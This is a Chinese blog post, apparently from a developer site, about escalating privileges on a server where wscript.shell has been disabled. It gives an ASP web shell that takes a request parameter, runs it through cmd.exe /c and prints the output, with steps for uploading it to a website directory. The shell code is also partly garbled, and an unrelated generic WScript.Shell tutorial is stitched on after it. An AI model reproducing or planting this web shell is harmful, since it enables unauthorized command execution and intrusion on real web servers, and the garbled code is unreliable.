wscript shell删除解决方法(我并不是很能理解,这是我搜集来的希望对大家有帮助)

可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
一般当闭上面组件时,你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。
要想让运行命令可以试试这种方法,成功率为五五之数。
把下面代码复制:

<%if err then%>

<%
end if
response.write("")
On Error Resume Next
response.write oScriptlhn.exec(“cmd.exe /c” & request(“c”)).stdout.readall
response.write("")
response.write("")
response.write("
")
response.write("")
%>

保存为一个asp文件,然后传到网站目录上去
运行的时候可能会出现两个问题,第一是运行了为什么运行不了命令,这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
我用此成功运行过cacls命令。

第二那就是运行时出错,可能限制某些代码执行

WScript.Shell 是一个 Windows 脚本宿主(WSH)对象,提供了对 Windows 操作系统的一些功能和操作的访问。其作用和用法如下: ### 作用 - **执行外部程序**:可运行各种可执行文件,如批处理文件、应用程序等。 - **操作环境变量**:能够读取、设置系统和用户的环境变量。 - **注册表操作**:对注册表进行读写操作,实现系统配置的修改。 - **窗口控制**:在运行程序时,可控制窗口的显示样式,如隐藏、最小化、最大化等。 ### 用法 #### 创建 WScript.Shell 对象 ```vbscript Set WshShell = CreateObject("WScript.Shell") ``` #### 运行外部程序 使用 `Run` 方法运行外部程序,该方法有三个参数:要运行的命令、窗口样式和是否等待程序执行完毕。 ```vbscript Set WshShell = CreateObject("WScript.Shell") WshShell.Run "C:\aaa\windows-2.bat", 0, False ``` 上述代码中,`"C:\aaa\windows-2.bat"` 是要运行的批处理文件的路径,`0` 表示隐藏窗口,`False` 表示脚本会等待批处理文件执行完毕再继续执行后续代码。如果设置为 `True`,则脚本不会等待批处理文件执行完毕,而是立即继续执行后续代码[^1]。 #### 操作环境变量 使用 `Environment` 属性来操作环境变量。 ```vbscript Set WshShell=Wscript.CreateObject("Wscript.Shell") Set WshSysEnv=WshShell.Environment("SYSTEM") Wscript.Echo WshSysEnv("NUMBER_OF_PROCESSOR") ``` 上述代码中,通过 `Environment("SYSTEM")` 获取系统环境变量,然后输出 `NUMBER_OF_PROCESSOR` 环境变量的值[^3]。 #### 注册表操作 使用 `RegRead` 和 `RegWrite` 方法来读写注册表。 ```vbscript Set WshShell = CreateObject("WScript.Shell") ' 写入注册表 WshShell.RegWrite "HKCU\Software\MyApp\Setting", "Value", "REG_SZ" ' 读取注册表 Dim settingValue settingValue = WshShell.RegRead("HKCU\Software\MyApp\Setting") ``` #### 窗口控制 在 `Run` 方法中通过第二个参数控制窗口样式。 ```vbscript Set WshShell = CreateObject("WScript.Shell") ' 以最大化窗口运行程序 WshShell.Run "notepad.exe", 3, False ``` 这里的 `3` 表示最大化窗口。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值